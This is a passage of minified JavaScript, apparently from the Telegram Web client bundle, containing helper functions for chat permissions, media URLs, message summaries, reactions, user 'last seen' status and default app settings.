n&&n<u?e("Channel.Persmission.Denied.SendMessages.Until",e("formatDateAtTime",[(0,s.xH)(new Date(1e3*n),e.code),(0,s.mr)(e,1e3*n)])):e("Channel.Persmission.Denied.SendMessages.Forever")}if(n?.sendMessages)return e("Channel.Persmission.Denied.SendMessages.DefaultRestrictedText")}function B(e,t,n=o._f,s){if(!t?.isForum)return;if(n===o._f){if(s||t.topics&&!t.topics[r.OxA]?.isClosed)return;return e("lng_forum_replies_only")}const a=t.topics?.[n];return a?!a.isClosed||a.isOwner||A(t,"manageTopics")?void 0:e("TopicClosedByAdmin"):void 0}function O(e){return e.folderId===r.WSp}function x(e,t,n={}){return n[e.id]&&void 0!==n[e.id].isMuted?n[e.id].isMuted:e.isMuted||h(e.id)&&!t.hasPrivateChatsNotifications||v(e)&&!t.hasBroadcastNotifications||g(e)&&!t.hasGroupNotifications}function _(e,t,n={}){const{hasPrivateChatsMessagePreview:o=!0,hasBroadcastMessagePreview:r=!0,hasGroupMessagePreview:s=!0}=t;return n[e.id]&&void 0!==n[e.id].shouldShowPreviews?n[e.id].shouldShowPreviews:h(e.id)&&o||v(e)&&r||g(e)&&s}function F(e){return y(e)||(b(e)||v(e))&&e.isCreator}function j(e,t,n){const{excludedChatIds:o,includedChatIds:r,bots:s,groups:a,contacts:i,nonContacts:d,channels:c}=t,u=[s,a,i,d,c];return void 0!==n&&(Object.values(u).filter(Boolean).length>1||o?.length||r?.length)?e("Chats",n):s?e("FilterBots"):a?e("FilterGroups"):c?e("FilterChannels"):i?e("FilterContacts"):d?e("FilterNonContacts"):void 0}function $(e,t,n){if(n&&!h(t)){if(!h(n.id)){if(t===n.id)return;return n.title}return n.isSelf?e("FromYou"):(0,c.Vl)(n)}}function U(e,t,n=!1,o){return(0,a.Xo)(e,(e=>{const r=t[e];if(!r)return 0;let s=0;return r.lastMessage&&(s+=r.lastMessage.date),n&&r.isVerified&&(s+=l),o&&o.includes(e)&&(s=Date.now()+f+(o.length-o.indexOf(e))),s}),"desc")}function V(e,t,n,o,r){if(!o)return t;const s=(0,i.W)(o);return t.filter((t=>{const o=n[t];if(!o)return!1;const a=t===r,i=E(e,o,a);return a?s(i)||s(o.title):s(i)}))}function H(e){return e.usernames?.some((({isActive:e})=>e))}function W(e,t,n=!1){if(n)return e.sort(((e,t)=>t.lastMessageId-e.lastMessageId));{const n=e.filter((e=>e.isPinned)),o=e.filter((e=>!e.isPinned&&!e.isHidden)).sort(((e,t)=>t.lastMessageId-e.lastMessageId)),r=e.filter((e=>!e.isPinned&&e.isHidden)).sort(((e,t)=>t.lastMessageId-e.lastMessageId));return[...t?t.map((e=>n.find((t=>t.id===e)))).filter(Boolean):n,...o,...r]}}function K(e){return Math.abs(Number(function(e){return(t=e).length===r.yce&&t.startsWith("-100")?e.replace("-100",""):e.replace("-","");var t}(e)))}function G(e){return e?.color?.color?e.color.color:e?K(e.id)%7:0}function z(e){const t=G(e);return(0,d.Rd)().peerColors?.general[t].colors?.length||1}},4463:(e,t,n)=>{n.d(t,{lN:()=>a.lN,JE:()=>ne,wA:()=>ye,uw:()=>J,k6:()=>Z,XU:()=>re,yL:()=>te,uF:()=>le,tK:()=>s.tK,$l:()=>r.$l,kK:()=>o.kK,H5:()=>r.H5,MR:()=>F,NF:()=>ue,kw:()=>o.kw,cc:()=>r.cc,GU:()=>r.GU,Qm:()=>r.Qm,RT:()=>r.RT,hu:()=>r.hu,N0:()=>H,U:()=>r.U,l6:()=>r.l6,ym:()=>R,T7:()=>s.T7,SB:()=>r.SB,mt:()=>r.mt,N:()=>O,Wc:()=>x,VE:()=>r.VE,WS:()=>o.WS,XV:()=>Y,Sc:()=>z,N5:()=>g,g8:()=>h,oP:()=>y,nl:()=>S,qp:()=>u,w6:()=>s.w6,R5:()=>q,$D:()=>s.$D,aE:()=>w,ep:()=>$,c0:()=>U,d0:()=>s.d0,eO:()=>P,NE:()=>N,Tp:()=>s.Tp,nf:()=>k,kG:()=>j,Ti:()=>D,DH:()=>L,KK:()=>s.KK,O$:()=>f,t9:()=>E,dT:()=>ee,Y5:()=>p,zF:()=>r.zF,q8:()=>r.q8,HW:()=>s.HW,eH:()=>s.eH,h_:()=>s.eO,bf:()=>v,Kk:()=>a.Kk,Eb:()=>a.Eb,MK:()=>a.MK,UD:()=>s.UD,EU:()=>a.EU,b7:()=>m,kd:()=>b,s1:()=>T,F$:()=>M,Cg:()=>A,AY:()=>r.AY,EC:()=>r.EC,kj:()=>r.kj,R0:()=>r.R0,qI:()=>o.qI,bV:()=>W,HV:()=>K,zX:()=>r.zX,$d:()=>ie,OU:()=>s.OU,RI:()=>s.RI,RK:()=>pe.RK,hl:()=>me,Cc:()=>he,Ow:()=>Q,Vl:()=>o.Vl,Js:()=>o.Js,UZ:()=>ae,Tq:()=>o.Tq,Dk:()=>fe,jC:()=>G,O9:()=>B,BM:()=>V,u8:()=>l,fY:()=>s.fY,FT:()=>s.Lo,Ul:()=>s.Ul,Wd:()=>r.Wd,Nl:()=>r.Nl,pE:()=>r.pE,G9:()=>r.G9,eA:()=>r.eA,Bf:()=>r.Bf,Sb:()=>r.Sb,Hp:()=>r.Hp,ZV:()=>r.ZV,pK:()=>r.pK,Ru:()=>r.Ru,NB:()=>o.NB,MF:()=>s.MF,$R:()=>s.$R,CD:()=>s.CD,AJ:()=>s.AJ,rl:()=>I,hC:()=>C,FF:()=>s.FF,CI:()=>s.CI,cT:()=>s.cT,B4:()=>s.B4,Bt:()=>de,V5:()=>s.V5,Hl:()=>oe,jM:()=>s.jM,cS:()=>o.cS,YC:()=>r.YC,kM:()=>o.kM,Mg:()=>r.Mg,Ib:()=>s.Ib,TO:()=>s.TO,Fs:()=>s.Fs,Ak:()=>s.Ak,i4:()=>r.i4,Sm:()=>r.Sm,ih:()=>r.ih,PO:()=>se,Z0:()=>o.Z0,If:()=>pe.If,Yg:()=>r.Yg,vt:()=>ce});var o=n(93311),r=n(22825),s=n(20841),a=n(42986),i=n(6137),d=n(97184),c=n(15376);function u(e){return e.content}function l(e){return Boolean(f(e)||m(e)||w(e)||v(e)||S(e)||E(e)||g(e)||y(e)||b(e))}function f(e){return e.content.photo}function h(e){return"suggestProfilePhoto"===e.content.action?.type?e.content.action.photo:void 0}function m(e){return e.content.video}function p(e){const{video:t}=e.content;return t?.isRound?t:void 0}function g(e){return e.content.action}function y(e){return e.content.audio}function b(e){return e.content.voice}function v(e){return e.content.sticker}function w(e){return e.content.document}function I(e){const t=w(e);return t?"photo"===t.mediaType:void 0}function C(e){const t=w(e);return t?"video"===t.mediaType:void 0}function S(e){return e.content.contact}function E(e){return e.content.poll}function P(e){return e.content.invoice}function k(e){return e.content.location}function T(e){return e.content.webPage}function M(e){return T(e)?.photo}function A(e){return T(e)?.video}function L(e){return function(e){const t=f(e)||m(e)||w(e)||v(e)||M(e)||A(e)||P(e)?.extendedMedia;if(t)return t.thumbnail}(e)?.dataUri}function N(e){const t=f(e)||m(e),n=P(e)?.extendedMedia;return Boolean(n||t?.isSpoiler)}function R(e){return`document${e.id}`}function Z(e,t,n,o,r){const{long:s,lat:a,accessHash:i,accuracyRadius:d}=e;return`staticMap:${i}?lat=${a}&long=${s}&w=${t}&h=${n}&zoom=${o}&scale=${r}&accuracyRadius=${d}`}function D(e,t){const{video:n,sticker:o,audio:r,voice:a,document:i}=e.content,d=f(e)||M(e)||function(e){return I(e)?w(e):void 0}(e),u=h(e),l=n||A(e)||function(e){return C(e)?w(e):void 0}(e),m=u||d||l||o||r||a||i;if(!m)return;const p=m.id,g=`${(0,s.Tp)(e)}${p?`:${p}`:""}`;if(l)switch(t){case"micro":case"pictogram":return`${g}?size=m`;case"inline":return V(e)?void 0:_(l,g);case"preview":return`${g}?size=x`;case"full":return _(l,g);case"download":return`${g}?download`}if(d||u)switch(t){case"micro":case"pictogram":return`${g}?size=${u?"a":"m"}`;case"inline":return V(e)?void 0:`${g}?size=${u?"b":"x"}`;case"preview":return`${g}?size=${u?"b":"x"}`;case"full":case"download":return i?g:`${g}?size=${u?"c":"z"}`}if(i)switch(t){case"micro":case"pictogram":case"inline":case"preview":if(!(0,c.v6)(i)||V(e))return;return`${g}?size=m`;case"full":case"download":return g}if(o)switch(t){case"micro":return;case"pictogram":return`${g}?size=m`;case"inline":return g;case"download":return`${g}?download`}if(r)switch(t){case"micro":case"pictogram":return F(r)?`${g}?size=m`:void 0;case"inline":return _(r,g);case"download":return`${g}?download`}if(a)switch(t){case"micro":case"pictogram":return;case"inline":return g;case"download":return`${g}?download`}}function B(e){if(e)return`webDocument:${e.url}`}function O(e){const{photo:t}=e;if(t)return`photo${t.id}?size=x`}function x(e){const{document:t}=e;if(t)return`document${t.id}`}function _(e,t){return d.I_&&d.s$?`${t}?fileSize=${e.size}&mimeType=${e.mimeType}`:t}function F(e){return e.thumbnailSizes&&e.thumbnailSizes.length>0}function j(e,t){const{video:n,audio:o,voice:r,document:s}=e.content,a=Boolean(n||A(e)||C(e)),c=(n||o||s)?.size;return"download"===t?d.I_&&c>d.l0&&!d.rT?i.IU.DownloadUrl:i.IU.BlobUrl:a&&d.I_&&("full"===t||"inline"===t)?i.IU.Progressive:o||r?r&&!d.m5?i.IU.BlobUrl:i.IU.Progressive:i.IU.BlobUrl}function $(e){const{photo:t,video:n,document:o}=e.content,r=M(e),s=A(e);if(t||r)return`photo${e.date}.jpeg`;const{fileName:a}=n||s||o||{};return a}function U(e){const{video:t,document:n}=e.content,o=A(e),{size:r}=t||o||n||{};return r}function V(e){const{photo:t,video:n,document:o}=e.content;return t?.blobUrl||n?.blobUrl||o?.previewBlobUrl}function H(e,t,n=!1){return q(e,t,n?"media":"inlineMedia")}function W(e){return e.sizes.find((e=>"z"===e.type))||e.sizes.find((e=>"y"===e.type))||K(e)}function K(e){return e.sizes.find((e=>"x"===e.type))||e.sizes.find((e=>"m"===e.type))||e.sizes.find((e=>"s"===e.type))||e.thumbnail}function G(e){if(e.width&&e.height)return e}function z(e,t,n=!1){const o=(0,s.CI)(e);return{isUploading:o,isTransferring:o||n,transferProgress:Number(t)}}function q(e,t,n){let o;switch(n){case"media":o=e=>{const t=m(e);return f(e)||t&&!t.isRound&&!t.isGif};break;case"documents":o=w;break;case"links":o=e=>T(e)||(0,s.sQ)(e);break;case"audio":o=y;break;case"voice":o=e=>{const t=m(e);return b(e)||t&&t.isRound};break;case"inlineMedia":o=e=>{const t=m(e);return f(e)||t&&!t.isRound&&!t.isGif||I(e)||C(e)};break;default:return[]}return t.reduce(((t,n)=>(e[n]&&o(e[n])&&t.push(n),t)),[])}function Y(e){const{audio:t,voice:n,video:o}=u(e),r=t||n||o||A(e);if(r)return r.duration}function J(e,t){return`${e}_${t}`}const X={missing_payment_information:{field:"cardNumber",message:"Incorrect card number"},invalid_number:{field:"cardNumber",message:"Incorrect card number"},number:{field:"cardNumber",message:"Incorrect card number"},exp_year:{field:"expiry",message:"Incorrect year"},exp_month:{field:"expiry",message:"Incorrect month"},invalid_expiry_year:{field:"expiry",message:"Incorrect year"},invalid_expiry_month:{field:"expiry",message:"Incorrect month"},cvc:{field:"cvv",message:"Incorrect CVV"},invalid_cvc:{field:"cvv",message:"Incorrect CVV"}};function Q(e){const{message:t,code:n,param:o}=e,{field:r,message:s}=o?X[o]:X[n];return{field:r,message:s,description:t}}function ee(e){return e.isOutgoing?e.reactions?.recentReactions?.[0]:void 0}function te(e,t){const{currentUserId:n}=e;return t?.recentReactions?.some((({isUnread:e,isOwn:t,peerId:o})=>e&&!t&&n!==o))}function ne(e){return!e.results.some((({count:e})=>e>0))}function oe(e,t){return!(!e||!t)&&("emoticon"in e&&"emoticon"in t?e.emoticon===t.emoticon:"documentId"in e&&"documentId"in t&&e.documentId===t.documentId)}function re(e,t){return"all"===t.type?"emoticon"in e||t.areCustomAllowed:"some"===t.type&&t.allowed.some((t=>oe(t,e)))}function se(e,t){return e.slice().sort(((e,n)=>{const o=e?"reaction"in e?e.reaction:e:void 0,r=n?"reaction"in n?n.reaction:n:void 0,s=t?.findIndex((e=>oe(e,o)))||0,a=t?.findIndex((e=>oe(e,r)))||0;return(s>-1?s:1/0)-(a>-1?a:1/0)}))}function ae(e){return e.reactions?.results?.filter((e=>de(e))).sort(((e,t)=>e.chosenOrder-t.chosenOrder)).map((e=>e.reaction))||[]}function ie(e){return"emoticon"in e?e.emoticon:e.documentId}function de(e){return void 0!==e.chosenOrder}function ce(e,t){const n=e.map((e=>de(e)?{...e,chosenOrder:void 0,count:e.count-1}:e)).filter((({count:e})=>e>0));return t.forEach(((e,t)=>{const o=n.findIndex((t=>oe(t.reaction,e)));o>-1?n[o]={...n[o],chosenOrder:t,count:n[o].count+1}:n.push({reaction:e,chosenOrder:t,count:1})})),n}function ue(e){return`photo${e.id}?size=x`}function le(e){return"channels"===e?"channels":"chats"===e||"groups"===e?"chats":"users"===e?"users":"bots"===e?"bots":void 0}function fe(e){return`videoAvatar${e.id}?size=u`}function he(e,t="preview",n){if(Boolean(e.content.video)){if(n&&!e.content.altVideo)return;const o=n?e.content.altVideo:e.content.video,r=`document${o.id}`;return"download"===t?`${r}?download`:"full"!==t?`${r}?size=m`:_(o,r)}const o=function(e){switch(e){case"download":return"?size=z";case"pictogram":return"?size=m";case"preview":return"?size=x";case"full":return"?size=w";default:return""}}(t);return`photo${e.content.photo.id}${o}`}function me(e,t){return`story${e}-${t}`}var pe=n(56266),ge=n(60782);function ye(e,{visibility:t,isUnspecified:n,allowedIds:o,blockedIds:s}){const{users:{byId:a},chats:{byId:i}}=e,[d,c]=(0,ge.uK)(o,r.YC),[u,l]=(0,ge.uK)(s,r.YC);return{visibility:t,isUnspecified:n,allowedUsers:d.map((e=>a[e])).filter(Boolean),allowedChats:c.map((e=>i[e])).filter(Boolean),blockedUsers:u.map((e=>a[e])).filter(Boolean),blockedChats:l.map((e=>i[e])).filter(Boolean)}}},42986:(e,t,n)=>{n.d(t,{EU:()=>f,Eb:()=>h,Kk:()=>m,MK:()=>l,lN:()=>u});var o=n(6137),r=n(83716),s=n(48035),a=n(33555),i=n(20841),d=n(93311);const c=["⠺","⠵","⠞","⠟"],u=80;function l(e,t,n=!1,o=u,r=!1){const a=!n&&h(t);return`${a?`${a} `:""}${m(e,t,(0,s.Z)(f(t),o),r)}`}function f(e){const t=(0,i.$b)(e),n=(0,i.UD)(e);if(!n)return t;const{entities:r}=e.content.text||{};if(!r?.length)return t?`${t}\n${n}`:n;const s=r.reduce(((e,{type:t,offset:n,length:r})=>{if(t!==o.Vv.Spoiler)return e;const s=function(e){return new Array(e).fill(void 0).map((()=>c[Math.floor(Math.random()*c.length)])).join("")}(r);return`${e.substr(0,n)}${s}${e.substr(n+r,e.length)}`}),n);return t?`${t}\n${s}`:s}function h(e){const{photo:t,video:n,audio:o,voice:r,document:s,sticker:a,poll:i}=e.content;return e.groupedId||t?"🖼":n?"📹":a?a.emoji:o?"🎧":r?"🎤":s?"📎":i?"📊":void 0}function m(e,t,n,o=!1){const{text:s,photo:i,video:c,audio:u,voice:l,document:f,sticker:h,contact:m,poll:p,invoice:g,location:y,game:b,storyData:v,giveaway:w,giveawayResults:I}=t.content;let C,S=!1;if(t.groupedId&&(S=!0,C=n||e("lng_in_dlg_album")),i&&(S=!0,C=n||e("AttachPhoto")),c&&(S=!0,C=n||e(c.isGif?"AttachGif":"AttachVideo")),h&&(C=e("AttachSticker").trim()),u&&(C=function(e){const{audio:t,text:n}=e.content;return t&&[t.title,t.performer].filter(Boolean).join(" — ")||n?.text}(t)||e("AttachMusic")),l&&(S=!0,C=n||e("AttachAudio")),f&&(S=!o,C=o?f.fileName:n||f.fileName),m&&(C=e("AttachContact")),p&&(C=p.summary.question),g&&(C=g.extendedMedia?g.title:`${e("PaymentInvoice")}: ${g.text}`),s&&(o&&C&&!S?C+=`\n${n}`:C=n),"geo"!==y?.type&&"venue"!==y?.type||(C=e("Message.Location")),"geoLive"===y?.type&&(C=e("Message.LiveLocation")),b&&(C=`🎮 ${b.title}`),w&&(C=e("BoostingGiveawayChannelStarted")),I&&(C=e("Message.GiveawayEndedWinners",I.winnersCount)),v)if(v.isMention){const n=(0,a.Rd)(),o=(0,d.Vl)(n.users.byId[t.chatId]);C=t.isOutgoing?e("Chat.Service.StoryMentioned.You",o):e("Chat.Service.StoryMentioned",o)}else C=e("ForwardedStory");return C||r.VC4}},20841:(e,t,n)=>{n.d(t,{$D:()=>v,$R:()=>x,$b:()=>g,AJ:()=>D,Ak:()=>m,B4:()=>E,CD:()=>B,CI:()=>R,FF:()=>Z,Fs:()=>$,HW:()=>I,Ib:()=>U,KK:()=>p,Lo:()=>T,MF:()=>k,OU:()=>L,RI:()=>N,T7:()=>C,TO:()=>j,Tp:()=>h,UD:()=>b,Ul:()=>A,V5:()=>P,cT:()=>_,d0:()=>f,eH:()=>F,eO:()=>w,fY:()=>y,jM:()=>M,sQ:()=>S,tK:()=>V,w6:()=>O});var o=n(6137),r=n(83716),s=n(60782),a=n(82267),i=n(97184),d=n(33555),c=n(22825),u=n(93311);const l=new RegExp(r.FM6,"i");function f(e){return`message${e.toString().replace(".","-")}`}function h(e){const{chatId:t,id:n,previousLocalId:o}=e;return function(e,t){return`msg${e}-${t}`}(t,M(e)&&o||n)}function m(e){const t=e.match(/^msg(-?\d+)-(\d+)/);return{chatId:t[1],messageId:Number(t[2])}}function p(e){return e.previousLocalId||e.id}function g(e){const{transcriptionId:t}=e,n=(0,d.Rd)();return t&&n.transcriptions[t]?.text}function y(e){const{text:t,sticker:n,photo:o,video:r,audio:s,voice:a,document:i,poll:d,webPage:c,contact:u,invoice:l,location:f,game:h,action:m,storyData:p,giveaway:g,giveawayResults:y}=e.content;return Boolean(t)||!(n||o||r||s||a||i||u||d||c||l||f||h||m?.phoneCall||p||g||y)}function b(e){return y(e)?e.content.text?.text||r.VC4:void 0}function v(e){const{text:t,sticker:n,photo:r,video:s,audio:a,voice:i,document:d,poll:c,webPage:u,contact:l,action:f,game:h,invoice:m,location:p,storyData:g}=e.content;if(n||s?.isRound)return!0;if(!t||r||s||a||i||d||c||u||l||f||h||m||p||g)return!1;const y=t?.entities?.some((e=>e.type!==o.Vv.CustomEmoji));return Boolean(e.emojiOnlyCount&&!y)}function w(e){const{text:t}=e.content;if(!t?.entities?.length&&1===e.emojiOnlyCount)return t.text}function I(e){const{text:t}=e.content;if(1===t?.entities?.length&&t.entities[0].type===o.Vv.CustomEmoji&&1===e.emojiOnlyCount)return t.entities[0].documentId}function C(e){const{text:t}=e.content;let n;if(t?.entities){const e=t.entities.find((e=>e.type===o.Vv.TextUrl));if(e&&(n=e.url.match(l)),!n){const e=t.entities.find((e=>e.type===o.Vv.Url));if(e){const{offset:o,length:r}=e;n=t.text.substring(o,o+r).match(l)}}}if(!n&&t&&(n=t.text.match(l)),n)return{url:n[0],domain:n[3]}}function S(e){const{text:t}=e.content,n=t&&t.text.match(l);if(n)return{url:n[0],domain:n[3]}}function E(e){return e.isOutgoing}function P(e){return Boolean("message"===e.replyInfo?.type)}function k(e){return Boolean(e.forwardInfo||e.content.storyData)}function T(e){return Boolean(e.content.action)}function M(e){return e.chatId===r.awM&&Math.round(e.id)!==e.id}function A(e){return Boolean(e.senderId)&&!(0,c.YC)(e.senderId)&&E(e)}function L(e,t){return(0,c.YC)(t.id)?(0,u.Js)(t):(0,c.U)(e,t)}function N(e){return e.sendingState?"messageSendingStateFailed"===e.sendingState?"failed":"pending":"succeeded"}function R(e){return D(e.id)}function Z(e){return"messageSendingStateFailed"===e.sendingState}function D(e){return!Number.isInteger(e)}function B(e){return e.content.action&&"historyClear"===e.content.action.type}function O(e){const{content:t}=e,n=t.webPage?t.webPage.video:t.video,o=t.webPage?t.webPage.photo:t.photo,r=t.webPage?t.webPage.document:t.document;if(r)return r.fileName;if(n)return n.fileName;if(t.sticker){const e=t.sticker.isLottie?"tgs":t.sticker.isVideo?"webm":"webp";return`${t.sticker.id}.${e}`}if(t.audio)return t.audio.fileName;const s=`${h(e)}${e.isScheduled?"_scheduled":""}`;return o?`${s}.jpg`:t.voice?i.m5?`${s}.ogg`:`${s}.wav`:s}function x(e){const{location:t}=e.content;return"geoLive"===t?.type&&(0,a.bp)()-(e.date||0)>=t.period}function _(e,t){const{text:n,game:o}=e.content,r=R(e),s=M(e),a=T(e);return Boolean(n?.text.length&&!e.emojiOnlyCount&&!o&&(t||!e.isOutgoing)&&!r&&!s&&!a&&!e.isScheduled)}function F(e){return 1===e.inlineButtons?.length&&1===e.inlineButtons[0].length&&e.inlineButtons[0][0]}function j(e){return e.sort(((e,t)=>e-t))}function $(e){return e.sort(((e,t)=>t-e))}function U(e,t){let n=!1,o=e.length?e.map((e=>(0,s.YE)(e,t)&&!n?(n=!0,j((0,s.Tw)(e.concat(t)))):e)):[t];n||(o=o.concat([t])),o.sort(((e,t)=>e[0]-t[0]));let r=o.length;for(let e=0;e<r;e++){const t=o[e],n=o[e-1];n&&(n.includes(t[0])||n.includes(t[0]-1))&&(o[e-1]=j((0,s.Tw)(t.concat(n))),o.splice(e,1),r--,e--)}return o}function V(e,t=!1){const n=e.content.text;if(!n)return;const{text:s}=n;let{entities:a}=n;if(s&&t&&"chatId"in e&&e.chatId===r.awM&&!(0,d.Rd)().settings.byKey.shouldShowLoginCodeInChatList){const e=s.match(/^\D*([\d-]{5,7})\D/)?.[1];e&&(a=[...a||[],{type:o.Vv.Spoiler,offset:s.indexOf(e),length:e.length}],a.sort(((e,t)=>e.offset>t.offset?1:-1)))}return{text:s,entities:a}}},26646:(e,t,n)=>{function o(e){const{replyInfo:t}=e;if(t&&"message"===t.type)return t}function r(e){const{replyInfo:t}=e;if(t&&"story"===t.type)return t}n.d(t,{H:()=>o,f:()=>r})},56266:(e,t,n)=>{n.d(t,{If:()=>a,Lo:()=>s,RK:()=>r});var o=n(6137);function r(e){return`sticker${e}?size=m`}function s(e){return e.entities?.some((e=>e.type===o.Vv.CustomEmoji))}function a(e){if(!e.entities)return e;const t=e.entities.filter((e=>e.type!==o.Vv.CustomEmoji));return{...e,entities:t}}},93311:(e,t,n)=>{n.d(t,{Js:()=>u,NB:()=>h,Tq:()=>l,Vl:()=>c,WS:()=>b,Z0:()=>g,cS:()=>m,kK:()=>y,kM:()=>f,kw:()=>p,qI:()=>v});var o=n(83716),r=n(790),s=n(60782),a=n(6272),i=n(85765),d=n(82267);function c(e){if(e)switch(e.type){case"userTypeBot":return e.firstName;case"userTypeRegular":return e.firstName||e.lastName;case"userTypeDeleted":case"userTypeUnknown":return"Deleted";default:return}}function u(e){if(e){if(h(e))return"Deleted Account";switch(e.type){case"userTypeBot":case"userTypeRegular":if(e.firstName&&e.lastName)return`${e.firstName} ${e.lastName}`;if(e.firstName)return e.firstName;if(e.lastName)return e.lastName;if(e.phoneNumber)return`+${(0,a.un)(e.phoneNumber)}`}}}function l(e,t,n){if(t.id===o.awM)return e("ServiceNotifications").toLowerCase();if(t.isSupport)return e("SupportStatus");if(t.type&&"userTypeBot"===t.type)return e("Bot");if(!n)return"";switch(n.type){case"userStatusEmpty":return e("ALongTimeAgo");case"userStatusLastMonth":return e("WithinAMonth");case"userStatusLastWeek":return e("WithinAWeek");case"userStatusOffline":{const{wasOnline:t}=n;if(!t)return e("LastSeen.Offline");const o=(0,d.Qj)(),s=new Date(Date.now()+1e3*o),a=new Date(1e3*t);if(a>=s)return e("LastSeen.JustNow");const i=new Date(s.getTime()-a.getTime());if(i.getTime()/1e3<60)return e("LastSeen.JustNow");if(i.getTime()/1e3<3600)return e("LastSeen.MinutesAgo",Math.floor(i.getTime()/1e3/60));const c=new Date;if(c.setHours(0,0,0,0),a>new Date(c.getTime()+1e3*o))return i.getTime()/1e3<21600?e("LastSeen.HoursAgo",Math.floor(i.getTime()/1e3/60/60)):e("LastSeen.TodayAt",(0,r.mr)(e,a));const u=new Date;return u.setDate(s.getDate()-1),u.setHours(0,0,0,0),a>new Date(u.getTime()+1e3*o)?e("LastSeen.YesterdayAt",(0,r.mr)(e,a)):e("LastSeen.AtDate",(0,r.Tu)(e,a))}case"userStatusOnline":return e("Online");case"userStatusRecently":return e("Lately");default:return}}function f(e,t){const{id:n,type:r}=e;return!!t&&n!==o.awM&&!e.isSelf&&"userStatusOnline"===t.type&&"userTypeBot"!==r}function h(e){return("userTypeDeleted"===e.type||"userTypeUnknown"===e.type)&&e.id!==o.awM}function m(e){return"userTypeBot"===e.type}function p(e){return!e.isSelf&&!e.isContact&&!m(e)}function g(e,t,n,o){return(0,s.Xo)(e,(e=>{const r=(0,d.bp)();if(o&&o.includes(e))return r+172800-(o.length-o.indexOf(e));const s=t[e],a=n[e];if(!s||!a)return 0;if("userStatusOnline"===a.type)return a.expires;if("userStatusOffline"===a.type&&a.wasOnline)return a.wasOnline;switch(a.type){case"userStatusRecently":return r-86400;case"userStatusLastWeek":return r-604800;case"userStatusLastMonth":return r-18144e3;default:return 0}}),"desc")}function y(e,t,n,o,r){if(!n)return e;const s=(0,i.W)(n);return e.filter((e=>{const n=t[e];if(!n)return!1;const a=e===o?r:u(n);return a&&s(a)||Boolean(n.usernames?.find((({username:e})=>s(e))))}))}function b(e){return e.usernames?.find((e=>e.isActive))?.username}function v(e){return`peer-story${e}`}},33555:(e,t,n)=>{n.d(t,{R3:()=>s,Rd:()=>r,Sv:()=>a,c$:()=>d,iw:()=>i});const o=(0,n(65116).gP)(),r=o.getGlobal,s=o.setGlobal,a=o.getActions,i=o.addActionHandler,d=o.withGlobal},35369:(e,t,n)=>{n.d(t,{LN:()=>i,WD:()=>a,g9:()=>c,nn:()=>u,ww:()=>d});var o=n(91713),r=n(83716),s=n(97184);const a={animatedEmoji:!0,autoplayGifs:!0,autoplayVideos:!0,contextMenuAnimations:!0,contextMenuBlur:!0,loopAnimatedStickers:!0,mediaViewerAnimations:!0,messageComposerAnimations:!0,messageSendingAnimations:!0,pageTransitions:!0,reactionEffects:!0,rightColumnAnimations:!0,stickerEffects:!0,storyRibbonAnimations:!0},i={animatedEmoji:!0,autoplayGifs:!0,autoplayVideos:!0,contextMenuAnimations:!0,contextMenuBlur:!0,loopAnimatedStickers:!0,mediaViewerAnimations:!0,messageComposerAnimations:!0,messageSendingAnimations:!0,pageTransitions:!0,reactionEffects:!0,rightColumnAnimations:!1,stickerEffects:!1,storyRibbonAnimations:!1},d={animatedEmoji:!1,autoplayGifs:!1,autoplayVideos:!1,contextMenuAnimations:!1,contextMenuBlur:!1,loopAnimatedStickers:!1,mediaViewerAnimations:!1,messageComposerAnimations:!1,messageSendingAnimations:!1,pageTransitions:!1,reactionEffects:!1,rightColumnAnimations:!1,stickerEffects:!1,storyRibbonAnimations:!1},c={attachMenu:{bots:{}},passcode:{},twoFaSettings:{},isAppUpdateAvailable:!1,isElectronUpdateAvailable:!1,shouldShowContextMenuHint:!0,audioPlayer:{lastPlaybackRate:r.mwi},mediaViewer:{lastPlaybackRate:r.mwi},authRememberMe:!0,countryList:{phoneCodes:[],general:[]},blocked:{ids:[],totalCount:0},users:{byId:{},statusesById:{},fullInfoById:{}},chats:{listIds:{},isFullyLoaded:{},orderedPinnedIds:{},totalCount:{},byId:{},fullInfoById:{},similarChannelsById:{}},messages:{byChatId:{},sponsoredByChatId:{}},stories:{byPeerId:{},orderedPeerIds:{archived:[],active:[]},hasNext:!0,hasNextInArchive:!0,stealthMode:{}},groupCalls:{byId:{}},attachmentSettings:{shouldCompress:!0,shouldSendGrouped:!0},scheduledMessages:{byChatId:{}},chatFolders:{byId:{},invites:{}},fileUploads:{byMessageLocalId:{}},recentEmojis:["grinning","kissing_heart","christmas_tree","brain","trophy","duck","cherries"],recentCustomEmojis:["5377305978079288312"],topReactions:[],recentReactions:[],stickers:{setsById:{},added:{},recent:{stickers:[]},favorite:{stickers:[]},greeting:{stickers:[]},premium:{stickers:[]},premiumSet:{stickers:[]},featured:{setIds:[]},forEmoji:{}},customEmojis:{lastRendered:[],byId:{},added:{},forEmoji:{},statusRecent:{}},emojiKeywords:{},gifs:{saved:{}},topPeers:{},topInlineBots:{},activeSessions:{byHash:{},orderedHashes:[]},activeWebSessions:{byHash:{},orderedHashes:[]},settings:{byKey:{theme:"light",shouldUseSystemTheme:!0,messageTextSize:s.cj?r.b6b:s.jm?r.ARG:r.xS7,animationLevel:r.CXA,messageSendKeyCombo:"enter",canAutoLoadPhotoFromContacts:!0,canAutoLoadPhotoInPrivateChats:!0,canAutoLoadPhotoInGroups:!0,canAutoLoadPhotoInChannels:!0,canAutoLoadVideoFromContacts:!0,canAutoLoadVideoInPrivateChats:!0,canAutoLoadVideoInGroups:!0,canAutoLoadVideoInChannels:!0,canAutoLoadFileFromContacts:!1,canAutoLoadFileInPrivateChats:!1,canAutoLoadFileInGroups:!1,canAutoLoadFileInChannels:!1,autoLoadFileMaxSizeMb:10,hasWebNotifications:!0,hasPushNotifications:!0,notificationSoundVolume:5,shouldSuggestStickers:!0,shouldSuggestCustomEmoji:!0,shouldUpdateStickerSetOrder:!0,language:"en",timeFormat:"24h",wasTimeFormatSetManually:!1,isConnectionStatusMinimized:!0,shouldArchiveAndMuteNewNonContact:!1,canTranslate:!1,canTranslateChats:!0,doNotTranslate:[],canDisplayChatInTitle:!0,shouldAllowHttpTransport:!0,shouldWarnAboutSvg:!0},themes:{light:{isBlurred:!0,patternColor:r.ga_},dark:{isBlurred:!0,patternColor:r.Vvx}},performance:a,privacy:{},notifyExceptions:{}},serviceNotifications:[],trustedBotIds:[],transcriptions:{},translations:{byChatId:{}},byTabId:{},archiveSettings:{isMinimized:!1,isHidden:!1}},u={id:0,isMasterTab:!1,isLeftColumnShown:!0,isChatInfoShown:!1,newChatMembersProgress:o.WB.Closed,uiReadyState:0,shouldInit:!0,gifSearch:{},stickerSearch:{